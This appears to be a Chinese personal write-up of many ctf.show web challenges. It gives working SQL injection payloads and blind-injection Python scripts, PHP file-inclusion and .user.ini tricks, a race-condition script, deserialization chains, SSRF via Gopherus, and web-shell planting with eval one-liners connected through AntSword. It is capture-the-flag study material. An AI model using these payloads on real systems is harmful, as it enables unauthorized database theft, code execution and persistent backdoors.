web

web签到题

image-20230407220424812

base64

web2

是sql注入,但是没有回显,搞得挺恶心的,上sqlmap不知道为啥跑不出来

这个报错是没有一点显示的,搞得最开始我都没弄清单双引号

但本质上还是个简单的sql注入

username=a' or 1=1 #&password=a

有显示

image-20230407222706982

order by 查到是3,联合注入

username=a' union select 1,database(),3#&password=a

要注意的是,这里的回显位是2,必须把要查的东西放在第二位

显示web2

爆库爆表爆值

username=a' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="web2"#&password=a
username=a' union select 1,group_concat(column_name),3 from information_schema.columns where table_name="flag"#&password=a
username=a' union select 1,group_concat(flag),3 from web2.flag#&password=a

得到flag

web3

有提示

image-20230412153140585

那就是伪协议文件包含了,而且没有什么过滤

?url=data://text/plain,<?=`cat ctf_go_go_go`;?>

显示出flag

web4

<?php include($_GET['url']);?>

文件包含考虑php伪协议,但是传值之后发现error报错,看了wp才知道又是日志包含

(看了一眼过滤php和data)

改个UA再发包,写个一句话木马连蚁剑

web5

if(isset($v1) && isset($v2)){
            if(!ctype_alpha($v1)){
                die("v1 error");
            }
            if(!is_numeric($v2)){
                die("v2 error");
            }
            if(md5($v1)==md5($v2)){
                echo $flag;
            }

ctype_alpha()判断是否全字母,is_numeric()判断是否全数字,简单的md5绕过

?v1=QNKCDZO&v2=240610708

web6

唉,没有一点提示,过滤了or和空格。还把报错关了。试了一下才知道有三列,回显位在2

password=2&username=-1'union/**/select/**/1,2,3#

然后就是最傻逼的拼命令

password=2&username=-1'union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema='web2'#
password=2&username=-1'union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name='flag'#
password=2&username=-1'union/**/select/**/1,group_concat(flag),3/**/from/**/web2.flag#

web7

一样的

?id=-1/**/union/**/select/**/1,2,3
?id=-1/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema="web7"#
?id=-1/**/union/**/select/**/1,database(),group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name="flag"#
?id=-1/**/union/**/select/**/1,database(),group_concat(flag)/**/from/**/web.flag#

web8

-1/**/or/**/1=1/**/order/**/by/**/3测出来有三段

但是禁用了union关键字,那就只能用盲注了

import requests

url = 'http://e3406b2c-d1a2-4d95-9939-2b3b5e00d525.challenge.ctf.show/'
s = requests.session()

flag = ""
for i in range(1, 80):
    for j in range(32, 128):
        payload = "ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%s/**/for/**/1))=%s#" % (
        str(i), str(j))
        test = s.get(url = url + '?id=0/**/or/**/' + payload).text
        if 'I asked nothing' in test:
            flag += chr(j)
            print(flag)
            break
payload = "ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_name=0x666C6167)from/**/%s/**/for/**/1))=%s#" % (
        str(i), str(j))
payload = "ascii(substr((select/**/flag/**/from/**/flag)from/**/%s/**/for/**/1))=%s#"%(str(i),str(j))

唉,phpmyadmin真是傻逼,乱切换数据库。跑测试的时候弄了好久,还得是Navicat

NP,启动!

web9

呃呃,脑残是不。啥提示没有,试了个ffifdyop给我弹flag了,也不提示我md5

web10

点击取消弹出来个index.phps,打开查看源码

<?php
        $flag="";
        function replaceSpecialChar($strParam){
             $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
             return preg_replace($regex,"",$strParam);
        }
        if (!$con)
        {
            die('Could not connect: ' . mysqli_error());
        }
        if(strlen($username)!=strlen(replaceSpecialChar($username))){
            die("sql inject error");
        }
        if(strlen($password)!=strlen(replaceSpecialChar($password))){
            die("sql inject error");
        }
        $sql="select * from user where username = '$username'";
        $result=mysqli_query($con,$sql);
            if(mysqli_num_rows($result)>0){
                    while($row=mysqli_fetch_assoc($result)){
                        if($password==$row['password']){
                            echo "登陆成功<br>";
                            echo $flag;
                        }

                     }
            }
    ?>

这里直接用的strlen来判断,那么双写就绕过不了了。还把union select禁用了,那quine注入也用不了

本来是想着使用堆叠注入。在后面堆叠插入一条新的数据。但由于使用的是mysqli_query函数,更没法堆叠注入。堆叠注入要求使用mysqli_multi_query函数,只有这个函数能一次性执行多条语句

看似是没什么思路了,看了一下别人的wp才知道还有一种方法也能构造出多一条数据

GROUP BY 会根据每条password的值进行判断。如果结合SUM等函数,就可以做到让password相同的值所对应的其他列内容进行SUM等操作

至于 WITH ROLLUP,它是一种用于在 GROUP BY 子句中添加汇总行的选项。它会在结果中添加一个额外的行,该行包含了所有分组的聚合结果。同上,如果进行了SUM操作,就会把所有的值都SUM起来

例:

image-20230922095013228

select `password`,SUM(`username`) FROM users GROUP BY `password`

image-20230922095727165

而如果加上rollup,就会多处一列,再次进行SUM的汇总操作

image-20230922095822472

而此时,password这一栏会显示NULL

这个题就是利用了这个点,产生了一条password=Null的数据。而这时在POST中传入null就可echo出flag

再补充一下堆叠注入的办法吧,虽然在这题用不了,但谁知道以后呢。只适用于mysqli_multi_query

使用多条sql语句,并用;分割执行。本质上是堆叠+二次注入

payload:

1;;INSERT INTO `user`.`users` (`password`, `username`) VALUES ('test', 'test');;UPDATE users SET password = 'done';UPDATE users SET username = 'done';

这样一来就把所有的用户名和对应的密码都设置为done了

wb11

<?php
        function replaceSpecialChar($strParam){
             $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
             return preg_replace($regex,"",$strParam);
        }
        if(strlen($password)!=strlen(replaceSpecialChar($password))){
            die("sql inject error");
        }
        if($password==$_SESSION['password']){
            echo $flag;
        }else{
            echo "error";
        }
    ?>

这题也是出的云里雾里的,跟数据库一点关系没有

$password实际上是get传参进来的,和session[‘password’]进行比较

如果两个都为空即可绕过

image-20230922131119973

删掉password的赋值和Cookie

web12

F12给出hit:?cmd=

尝试多次之后发现传入phpinfo();可以成功回显,思路就是直接查文件。但是一看phpinfo里能用的函数基本全给我ban了,直接用命令的方法也不会是很ok

这时候就要想到php原生类了。结合我之前做的笔记,直接Globlterator+SplFileObject开查

?cmd=$context = new SplFileObject('/var/www/html/903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php');foreach($context as $f){
echo($f);
}

唉,看了别的师傅wp,还有更简单的函数highlight_file,直接秒了

?cmd=highlight_file("903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php")

红包题第二弹

给cmd随便传了个东西就弹出源码

<?php
        if(isset($_GET['cmd'])){
            $cmd=$_GET['cmd'];
            highlight_file(__FILE__);
            if(preg_match("/[A-Za-oq-z0-9$]+/",$cmd)){
            
                die("cerror");
            }
            if(preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$cmd)){
                die("serror");
            }
            eval($cmd);
        
        }
    
     ?>

可见,能用的有 p = + ; . ? < > ` \

想不明白直接找资料

php的上传接受multipart/form-data,然后会将它保存在临时文件中。php.ini中设置的upload_tmp_dir就是这个临时文件的保存目录。linux下默认为/tmp。也就是说,只要是php接收到上传的POST请求,就会保存一个临时文件,如何这个php脚本具有“上传功能”那么它将拷贝走,无论如何当脚本执行结束这个临时文件都会被删除。另外,这个php临时文件在linux系统下的命名规则永远是phpXXXXXX

基本思路就是上传,然后用eval+`+?+.去模糊匹配执行(.=source,source一个文件相当于把每行的命令依次执行一次)

image-20230922204150800

那就是要先完成文件上传,直接让chatgpt给就行

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>文件上传示例</title>
</head>
<body>
    <h1>文件上传示例</h1>
    <input type="file" id="fileInput" accept=".jpg, .jpeg, .png, .gif">
    <button type="button" onclick="uploadFile()">上传文件</button>
    <div id="response"></div>

    <script>
    function uploadFile() {
        const fileInput = document.getElementById('fileInput');
        const responseDiv = document.getElementById('response');

        if (fileInput.files.length === 0) {
            alert('请选择一个文件');
            return;
        }

        const file = fileInput.files[0];

        const formData = new FormData();
        formData.append('file', file);

        fetch('https://your-upload-url.com', {
            method: 'POST',
            body: formData
        })
        .then(response => {
            if (response.ok) {
                return response.text();
            } else {
                throw new Error('文件上传失败');
            }
        })
    }
    </script>
</body>
</html>

这时候直接向/index.php?cmd=?><?=`.+/??p/p?p??????`;上传test.txt,内容是

#! /bin/bash
cat /flag.txt

就可以弹出flag

image-20230922211835007

web13

唉,也是脑残。源码在upload.php.bak

<?php 
    header("content-type:text/html;charset=utf-8");
    $filename = $_FILES['file']['name'];
    $temp_name = $_FILES['file']['tmp_name'];
    $size = $_FILES['file']['size'];
    $error = $_FILES['file']['error'];
    $arr = pathinfo($filename);
    $ext_suffix = $arr['extension'];
    if ($size > 24){
        die("error file zise");
    }
    if (strlen($filename)>9){
        die("error file name");
    }
    if(strlen($ext_suffix)>3){
        die("error suffix");
    }
    if(preg_match("/php/i",$ext_suffix)){
        die("error suffix");
    }
    if(preg_match("/php/i"),$filename)){
        die("error file name");
    }
    if (move_uploaded_file($temp_name, './'.$filename)){
        echo "文件上传成功!";
    }else{
        echo "文件上传失败!";
    }
 ?>

要求文件名中没有php而且后缀名小于等于3

那基本所有能直接使用的php页面都传不上去了

而且要文件大小<=24,那就只能这么写了<?php eval($_POST['a']);

又不能上传.htaccess来解析绕过

对于php中的.user.ini有如下解释:

PHP 会在每个目录下搜寻的文件名;如果设定为空字符串则 PHP 不会搜寻。也就是在.user.ini中如果设置了文件名,那么任意一个页面都会将该文件中的内容包含进去。
我们在.user.ini中输入auto_prepend_file =a.txt,这样在该目录下的所有文件都会包含a.txt的内容

user_ini.cache_ttl 控制着重新读取用户 INI 文件的间隔时间。默认是 300 秒(5 分钟)。

所以上传之后要等一会才能重新发

web14

if(isset($_GET['c'])){
    $c = intval($_GET['c']);
    sleep($c);
    switch ($c) {
        case 1:
            echo '$url';
            break;
        case 2:
            echo '@A@';
            break;
        case 555555:
            echo $url;
        case 44444:
            echo "@A@";
            break;
        case 3333:
            echo $url;
            break;
        case 222:
            echo '@A@';
            break;
        case 222:
            echo '@A@';
            break;
        case 3333:
            echo $url;
            break;
        case 44444:
            echo '@A@';
        case 555555:
            echo $url;
            break;
        case 3:
            echo '@A@';
        case 6000000:
            echo "$url";
        case 1:
            echo '@A@';
            break;
    }
}

都忘了,如果switch case不加break会一直顺序执行,所以传了

?c=3

之后就会一直执行到echo “$url”;

进入下一个网页F12有提示

if(preg_match('/information_schema\.tables|information_schema\.columns|linestring| |polygon/is', $_GET['query'])){
        die('@A@');
    }

试了一下发现是int注入,直接order by查只有一列,当前数据库为web。而且ban了information_schema.tables。

可以用`information_schema`.`tables`代替information_schema.tables

?query=-1/**/union/**/select/**/group_concat(table_name)/**/from/**/`information_schema`.`tables`/**/where/**/`table_schema`='web'%23
=>alert('content')

?query=-1/**/union/**/select/**/group_concat(column_name)/**/from/**/`information_schema`.`columns`/**/where/**/`table_name`='content'%23
=>alert('id,username,password')

?query=-1/**/union/**/select/**/group_concat(id,';',username,';',password)/**/from/**/content%23
=>alert('1;admin;flag is not here!,2;gtf1y;wow,you can really dance,3;Wow;tell you a secret,secret has a secret...')

好吧,并没有flag,那就直接试一下load_file读取本地文件

?query=-1/**/union/**/select/**/load_file("/var/www/html/secret.php")%23
=>alert('<!-- ReadMe -->
<?php
$url = 'here_1s_your_f1ag.php';
$file = '/tmp/gtf1y';
if(trim(@file_get_contents($file)) === 'ctf.show'){
    echo file_get_contents('/real_flag_is_here');
}')

看一下代码可以再读一下/real_flag_is_here

?query=-1/**/union/**/select/**/load_file("/real_flag_is_here")%23
=>alert('ctfshow{8eb644ba-4766-41b1-a638-34e2fe5f5312}')

或者从代码里可以看出来要判断$file中是否存在”ctf.show”字符串,也可以通过into outfile函数写文件到/tmp/gtf1y中

?query=-1/**/union/**/select/**/"ctf.show"/**/into/**/outfile("/tmp/gtf1y")%23

然后直接访问secret.php,也能弹出flag

红包题第六弹

扫目录有web.zip泄露,对页面审计发现有主要函数

function ctfshow(token,data){

            var oReq = new XMLHttpRequest();
            oReq.open("POST", "check.php?token="+token+"&php://input", true);
            oReq.onload = function (oEvent) {
                if(oReq.status===200){
                        var res=eval("("+oReq.response+")");
                        if(res.success ==1 &&res.error!=1){
                            alert(res.msg);
                            return;
                        }
                        if(res.error ==1){
                            alert(res.errormsg);
                            return;
                        }
                }
                return;
            };
            oReq.send(data);
        }

结合web.zip中的check.php

function receiveStreamFile($receiveFile){
 
    $streamData = isset($GLOBALS['HTTP_RAW_POST_DATA'])? $GLOBALS['HTTP_RAW_POST_DATA'] : '';
 
    if(empty($streamData)){
        $streamData = file_get_contents('php://input');
    }
 
    if($streamData!=''){
        $ret = file_put_contents($receiveFile, $streamData, true);
    }else{
        $ret = false;
    }
    return $ret;
}
if(md5(date("i")) === $token){
    
    $receiveFile = 'flag.dat';
    receiveStreamFile($receiveFile);
    if(md5_file($receiveFile)===md5_file("key.dat")){
        if(hash_file("sha512",$receiveFile)!=hash_file("sha512","key.dat")){
            $ret['success']="1";
            $ret['msg']="人脸识别成功!$flag";
            $ret['error']="0";
            echo json_encode($ret);
            return;
        }

            $ret['errormsg']="same file";
            echo json_encode($ret);
            return;
    }
            $ret['errormsg']="md5 error";
            echo json_encode($ret);
            return;
} 

$ret['errormsg']="token error";
echo json_encode($ret);
return;

随便传个东西过去发现直接报md5 error,就是md5校验那里没过,再跟踪一下receiveStreamFile函数看一下他在做什么

$streamData从php://input里接收数据流,然后通过file_put_contents写入到$receiveFile中

遇到了挺多次的小点,记录一下为什么php://input传不进去文件的问题

php://input可以访问请求的原始数据的只读流,在POST请求中访问POST的data部分,在enctype="multipart/form-data" 的时候php://input 是无效的。

而$receiveFile已经写死是flag.dat,那唯一可控的就是传输过去的数据流

可以直接把key.dat下下来,就可以得到目标文件的data,现在就需要想怎么把本地的key.dat传到服务器里

那就可以本地给个上传前端(红包题第二弹),然后在bp里稍微改一下data就能绕过md5

image-20230923194044472

还要把文件尾的回车删掉,这时就能弹出same file的报错。这说明md5相等而且sha512也相等

这个时候看了网上大部分wp,都说是md5碰撞,但其实不是的。这是条件竞争

两个if判断中必然会有时间差,要利用这个时间差把flag.dat再次替换一遍,才可以做到绕过sha512

如果单纯利用fastcoll,是碰撞不出来和key.dat有相同md5的文件,这也是我看了很久想不明白的点

而条件竞争通常需要python的多线程操作。这里有特殊字符,bp经常会自动给你加payload导致和源文件不一致,所以使用python的thread模块

import threading

import requests

url = "http://d6d06d87-f806-48a0-a282-a653e47e9fb6.challenge.ctf.show/check.php?token=70efdf2ec9b086079795c442636b55fb&php://input"

def POST(data):
    try:
        r = requests.post(url,data = data)
        print(r.text)
        pass
    except  Exception as e:
        print(e)
        pass
    pass

with open('key.dat','rb') as k:
    data = k.read()
    pass
for i in range(500):
    threading.Thread(target = POST,args = (data,)).start()
    threading.Thread(target = POST,args = ("test",)).start()

image-20230923222239758

红包题第七弹

咋一看没东西,扫网发现有git泄露

用githack失败了,那就换用Git_Extract,把git扒下来,发现有backdoor.php的后门一句话木马

@eval($_POST['Letmein']);

直接进去打,但是禁用的函数太多,没法rce。先连个蚁剑找到flag在/var/www下

可以直接用highlight_file显示出来

萌新专属红包题

唉,最低能的弱口令。得找个时间把字典好好整理一下了

u=admin&p=admin888

CTFshow web1

扫网发现www.zip,打开发现连了web15的数据库,函数大概是全禁了

if(preg_match("/group|union|select|from|or|and|regexp|substr|like|create|drop|\,|\`|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\_|\+|\=|\]|\;|\'|\’|\“|\"|\<|\>|\?/i",$username))

里边有个user_main.php,但是并不会直接给你放出pwd

image-20230924173415512

注意得到,执行的sql语句是select * from user order by $order,而order是可以操控的位置,当使用pwd的时候,就会使用pwd来排序。如果密码排序>flag,排序就会靠上。这个时候就得考虑盲注了

这里给出二分法的payload

import requests

regurl = "http://0d2d0247-36d5-4d3e-bb8f-98a64bc16ccd.challenge.ctf.show/reg.php"
queurl = "http://0d2d0247-36d5-4d3e-bb8f-98a64bc16ccd.challenge.ctf.show/user_main.php?order=pwd"
key = "-0123456789abcdefghijklmnopqrstuvwxyz{}"
flag = "ctfshow{"
# 注册项目
for i in range(50):
    max = len(key)
    min = 0
    mid = (max + min) >> 1
    while mid < max:
        c = key[mid]
        print("now playload:", c)
        raw_data = {
            "username": flag + c,
            "email": "flag",
            "nickname": "flag",
            "password": flag + c,
        }
        s = requests.session()
        reg = s.post(url = regurl,
                     data = raw_data,
                     headers = {
                         "Cookie": "PHPSESSID=31f1f4341531ede15606ff7a99b5ec08"
                     })
        que = requests.get(url = queurl, headers = {
            "Cookie": "PHPSESSID=31f1f4341531ede15606ff7a99b5ec08"
        })
        p_t = que.text.index(flag + c)
        p_flag = que.text.index("flag_is_my_password")
        if p_t > p_flag:
            max = mid
        else:
            min = mid + 1
        mid = (min + max) >> 1
    flag = flag + key[mid - 1]
    print("-----------------------")
    print(flag)

由于很多<>等特殊符号被禁用了,所以直接指定key。而且mysql排序并不是按ascii码排序。当字母不同,按字母表顺序排列;当同字母,先小写后大写

game-gyctf web2

<?php
error_reporting(0);
session_start();
function safe($parm){
    $array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
    return str_replace($array,'hacker',$parm);
}
class User
{
    public $id;
    public $age=null;
    public $nickname=null;
    public function login() {
        if(isset($_POST['username'])&&isset($_POST['password'])){
        $mysqli=new dbCtrl();
        $this->id=$mysqli->login('select id,password from user where username=?');
        if($this->id){
        $_SESSION['id']=$this->id;  
        $_SESSION['login']=1;
        echo "你的ID是".$_SESSION['id'];
        echo "你好!".$_SESSION['token'];
        echo "<script>window.location.href='./update.php'</script>";
        return $this->id;
        }
    }
}
    public function update(){
        $Info=unserialize($this->getNewinfo());
        $age=$Info->age;
        $nickname=$Info->nickname;
        $updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
        //这个功能还没有写完 先占坑
    }
    public function getNewInfo(){
        $age=$_POST['age'];
        $nickname=$_POST['nickname'];
        return safe(serialize(new Info($age,$nickname)));
    }
    public function __destruct(){
        return file_get_contents($this->nickname);//危
    }
    public function __toString()
    {
        $this->nickname->update($this->age);
        return "0-0";
    }
}
class Info{
    public $age;
    public $nickname;
    public $CtrlCase;
    public function __construct($age,$nickname){
        $this->age=$age;
        $this->nickname=$nickname;
    }   
    public function __call($name,$argument){
        echo $this->CtrlCase->login($argument[0]);
    }
}
Class UpdateHelper{
    public $id;
    public $newinfo;
    public $sql;
    public function __construct($newInfo,$sql){
        $newInfo=unserialize($newInfo);
        $upDate=new dbCtrl();
    }
    public function __destruct()
    {
        echo $this->sql;
    }
}
class dbCtrl
{
    public $hostname="127.0.0.1";
    public $dbuser="noob123";
    public $dbpass="noob123";
    public $database="noob123";
    public $name;
    public $password;
    public $mysqli;
    public $token;
    public function __construct()
    {
        $this->name=$_POST['username'];
        $this->password=$_POST['password'];
        $this->token=$_SESSION['token'];
    }
    public function login($sql)
    {
        $this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
        if ($this->mysqli->connect_error) {
            die("连接失败,错误:" . $this->mysqli->connect_error);
        }
        $result=$this->mysqli->prepare($sql);
        $result->bind_param('s', $this->name);
        $result->execute();
        $result->bind_result($idResult, $passwordResult);
        $result->fetch();
        $result->close();
        if ($this->token=='admin') {
            return $idResult;
        }
        if (!$idResult) {
            echo('用户不存在!');
            return false;
        }
        if (md5($this->password)!==$passwordResult) {
            echo('密码错误!');
            return false;
        }
        $_SESSION['token']=$this->name;
        return $idResult;
    }
    public function update($sql)
    {
        //还没来得及写
    }
}

这题涉及到了反序列化字符串逃逸。

PHP在进行反序列化的时候,只要前面的字符串符合反序列化的规则并能成功反序列化,那么将忽略后面多余的字符串

www.zip扒下来,看得到只有`$_SESSION['login']===1`的时候才能弹出flag

但是只有User::login()中才会对$_SESSION['login']进行赋值

而赋值的条件得是token=admin或者password=数据库中password

通过分析可知,User::login()其实就是写死了dbCtl::login()的查询语句,但是我们可以通过链子自己构造sql语句

UpdateHelper::__destruct()->User::__toString->Info::__Call->dbCtrl::login()

这样如果第一次打通了,会触发$_SESSION['token']="admin"

第二次再次登陆的时候,会直接判断dbCtrl

if ($this->token=='admin') {
    return $idResult;
}

然后就可以绕过密码的验证

唯一的问题就是Info在构造的时候并不会构造$CtrlCase,导致无法进__call函数

但是safe函数可以帮助绕过该限制(字符串逃逸漏洞)

尝试传age=1&nickname=2

传出的反序列化字符串为

O:4:"Info":3:{s:3:"age";s:1:"1";s:8:"nickname";s:1:"2";s:8:"CtrlCase";N;}

说明可控的只有age和nickname两个字段,最后的CtrlCase无法传入。但是由于safe的函数的出现,使得逃逸成为了可能

当传入age=1&nickname=union

传出的反序列化字符串变成了

O:4:"Info":3:{s:3:"age";s:1:"1";s:8:"nickname";s:5:"hacker";s:8:"CtrlCase";N;}

这样s:8:"nickname";s:5:"hacker"就出错了,因为其中的s:5仅与传入的nickname的值的长度有关,而hacker是6位。这是因为safe函数会把一些单词替换

那就可以自行构造一个序列化字符串进去,强行把后面的CtrlCase构造出来

<?php
function safe($parm){
    $array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
    return str_replace($array,'hacker',$parm);
}

class User{
    public $nickname;
    public $age = 'select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?';
    public function __construct(){
        $this->nickname = new Info();
    }
}

class Info{
    public $CtrlCase;
    public function __construct(){
        $this->CtrlCase = new dbCtrl();
    }
}

class UpdateHelper{
    public $sql;
    public function __destruct()
    {
        echo $this->sql;
    }
    public function __construct(){
        $this->sql = new User();
    }
}

class dbCtrl{
    public $name = "admin";
    public $password = '1';
}

$u = new UpdateHelper();
$len = strlen('";s:8:"CtrlCase";'.serialize($u).'}');
$payload = str_repeat('union', $len).'";s:8:"CtrlCase";'.serialize($u).'}';
echo $payload;

这样就构造出了payload,把payload作为nickname传入

由于safe会把union修改为hacker(字符数+1),只要我们传入一定长度的union,就可以让s:8:"nickname";s:1920:其中的s:1920全部变成hacker,从而使后面我们自行构造的CtrlCase逃出

当我们传入的sql语句select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?不管username是什么,始终返回1,c4ca4238a0b923820dcc509a6f75849b

而在传入payload的时候就指定public $password = '1',就可以通过if (md5($this->password)!==$passwordResult)这条语句成功赋值session

在最后添加一个}来提前结束反序列化,由于反序列化的特性,成功后将忽略后面多余的字符串

image-20231015223831637

打进去之后我们的$_SESSION[‘token’]=admin,再次访问login就能通过验证弹出flag

Fishman

这题有一个注入点可以打

但是有个waf,会遍历所有get,post,cookie参数,在黑名单两侧加上@从而阻止注入

$blacklist = '/union|ascii|mid|left|greatest|least|substr|sleep|or|benchmark|like|regexp|if|=|-|<|>|\#|\s/i';

但在member.php中有一条json_decode操作,而json_decode会将传入的unicode自动解码,这就提供了条件

if ($_COOKIE["login_data"]) {
        $login_data = json_decode($_COOKIE['login_data'], true);
        $admin_user = $login_data['admin_user'];
        $udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");
        if ($udata['username'] == '') {
            setcookie("islogin", "", time() - 604800);
            setcookie("login_data", "", time() - 604800);
        }
        $admin_pass = sha1($udata['password'] . LOGIN_KEY);
        if ($admin_pass == $login_data['admin_pass']) {
            $islogin = 1;
        } else {
            setcookie("islogin", "", time() - 604800);
            setcookie("login_data", "", time() - 604800);
        }
    }

可以从返回的setcookie来判断是否成功,给个poc进行验证

<?php
require_once "include/safe.php";
var_dump($_COOKIE['test']);
$login_data = json_decode($_COOKIE['test'], true);
var_dump($login_data);

image-20231125144412967

而member.php必须从common.php里打,所以就有exp


import requests

flag = ""
url = "http://127.0.0.1:7788/poc.php"
# $udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");
for i in range(1, 100):
    min = 33
    max = 127
    mid = (min + max) // 2
    while min < max:
        payload = "' or ascii(substr(database(),{},1))>{} #".format(i, mid)
        cookie = 'islogin=1;login_data={{"admin_user":"{payload}","admin_pass":65}}'.format(payload = payload)
        headers = {'cookie': cookie}
        re = requests.get(url = url, headers = headers)
        setcookie = str(re.headers)
        if setcookie.count("islogin") == 2:
            min = mid + 1
        else:
            max = mid
        mid = (min + max) // 2
    if chr(mid) == " ":
        break
    flag += chr(mid)
    print(flag)

红包题第九弹

登陆发现除了传username之外还有个returl参数,把returl的值改为http://baidu.com直接回显了百度的页面,可能是ssrf

猜测是使用了include远程包含或者curl函数,题目给了hint是跟mysql有关,那就大概是curl

curl也没法用file函数,换用gopher,hint给出mysql无密码,端口3306

python2 gopherus.py --exploit mysql

往本地写文件

image-20231125225547960

把payload urlencode一下传进去成功写入tt.php文件中了,蚁剑直接打就行

红包题 葵花宝典

本来以为考的是PDO的sql注入,但是用的不是gbk,没法宽字节

注册+登陆就出flag

红包题 辟邪剑谱

mysql有个特性,当模式设置为非严格的时候,如果插入的值比列设置的值长,会自动截取一部分

比如插入admin+空格x300,如果列设置的是VARCHAR(255),mysql会自动截取到合适的位置=>admin

login.php写死了查询的用户为admin

$data=$db->select("admin",["username","password"],["username[=]"=>"admin"]);
foreach($data as $d){
    
    if ($d['password']===$user_password){
        $_SESSION['user']=$user_name;
        die("login success!<br><hr>flag is $flag");
    }
}

所以只能通过注册来覆盖这个原来的admin

$user_name=trim($_POST['user_name']);
$user_password=trim($_POST['user_password']);
$data=$db->select("admin",["username","password"],["username[=]"=>$user_name]);
if(count($data)>0){
    die("username in use!");
}
if($user_name==="admin"){
    die("you are not admin!");
}
if(preg_match("/select|update|drop|union|and|or|sys|substr|sleep|from|where|0x|hex|bin|char|file|order|limit|by|\`|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\+|\=|\{|\[|\}|\]|\;|\:|\'|\"|\<|\,|\>|\.|\?/i",$user_name)){
    die("stop hack!");
}
$data = $db->insert('admin',["username"=>"$user_name","password"=>"$user_password"]);

由于trim函数的处理,所有开头/结尾的特殊符号都会被删去,所以只能构造admin+空格x300+1来打

user_name=admin                                                                                                                                                                                                                                                                         1&user_password=1

成功注册然后登陆

【nl】难了

>nl

一切看起来都那么合情合理

session的反序列化攻击

ini_set('session.serialize_handler', 'php');

在这里的时候会进行一次反序列化

然后再了解一下序列化处理器

处理器名称 存储格式
php 键名 + 竖线 + 经过serialize()函数序列化处理的值
php_binary 键名的长度对应的 ASCII 字符 + 键名 + 经过serialize()函数序列化处理的值
php_serialize 经过serialize()函数序列化处理的数组

上述三种处理器中,php_serialize在内部简单地直接使用 serialize/unserialize函数,并且不会有phpphp_binary所具有的限制。 使用较旧的序列化处理器导致$_SESSION 的索引既不能是数字也不能包含特殊字符(|!) 。

php

<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
$_SESSION['session'] = $_GET['session'];

image-20231127134447028

结果为session|s:4:"test";

session$_SESSION['session']的键名,|后为传入 GET 参数经过序列化后的值

php_binary

<?php
error_reporting(0);
ini_set('session.serialize_handler','php_binary');
session_start();
$_SESSION['sessionsessionsessionsessionsessionsession'] = $_GET['sessionsessionsessionsessionsessionsession'];

image-20231127134749768

结果为*sessionsessionsessionsessionsessionsessions:4:"test";

*为键名长度对应的 ASCII 的值,sessionsessionsessionsessionsessionsession为键名,s:4:"test";为传入 GET 参数经过序列化后的值

php_serialize

<?php
var_dump(sys_get_temp_dir());
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_save_path("D:\\server\\tmp");
session_start();
$_SESSION['session'] = $_GET['session'];

image-20231127135048253

结果为a:1:{s:7:"session";s:4:"test";}

单纯的反序列化

https://xz.aliyun.com/t/6640#toc-5

但指定解析器为php时,可以人为添加一个|,然后跟需要反序列化的内容。从而指定序列化

class User{
    public $username;
    public $password;
    public $status;
    function setStatus($s){
        $this->status=$s;
    }
    function __destruct(){
        file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
    }
}

一眼写文件,指定username=test.phppassword=<?php eval($_POST['shell']);?>,然后把序列化出来的内容加个|然后base64传入就行

payload

|O:4:"User":3:{s:8:"username";s:8:"test.php";s:8:"password";s:30:"<?php eval($_POST["shell"]);?>";s:6:"status";N;}
base64:
fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czo4OiJ0ZXN0LnBocCI7czo4OiJwYXNzd29yZCI7czozMDoiPD9waHAgZXZhbCgkX1BPU1RbInNoZWxsIl0pOz8+IjtzOjY6InN0YXR1cyI7Tjt9
urlencode:
%66%45%38%36%4e%44%6f%69%56%58%4e%6c%63%69%49%36%4d%7a%70%37%63%7a%6f%34%4f%69%4a%31%63%32%56%79%62%6d%46%74%5a%53%49%37%63%7a%6f%34%4f%69%4a%30%5a%58%4e%30%4c%6e%42%6f%63%43%49%37%63%7a%6f%34%4f%69%4a%77%59%58%4e%7a%64%32%39%79%5a%43%49%37%63%7a%6f%7a%4d%44%6f%69%50%44%39%77%61%48%41%67%5a%58%5a%68%62%43%67%6b%58%31%42%50%55%31%52%62%49%6e%4e%6f%5a%57%78%73%49%6c%30%70%4f%7a%38%2b%49%6a%74%7a%4f%6a%59%36%49%6e%4e%30%59%58%52%31%63%79%49%37%54%6a%74%39

先访问index.php,在服务器上存个session,然后带着修改后的payload再访问index.php

此时会进入这层判断

if(isset($_SESSION['limit'])){
        $_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
        $_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
    }

从而把可控的$_cookie[‘limit’]写入session文件中,再访问/inc/inc.php进行反序列化,成功写入文件log-test.php

蚁剑直接连就行

红包题 耗子尾汁

<?php
error_reporting(0);
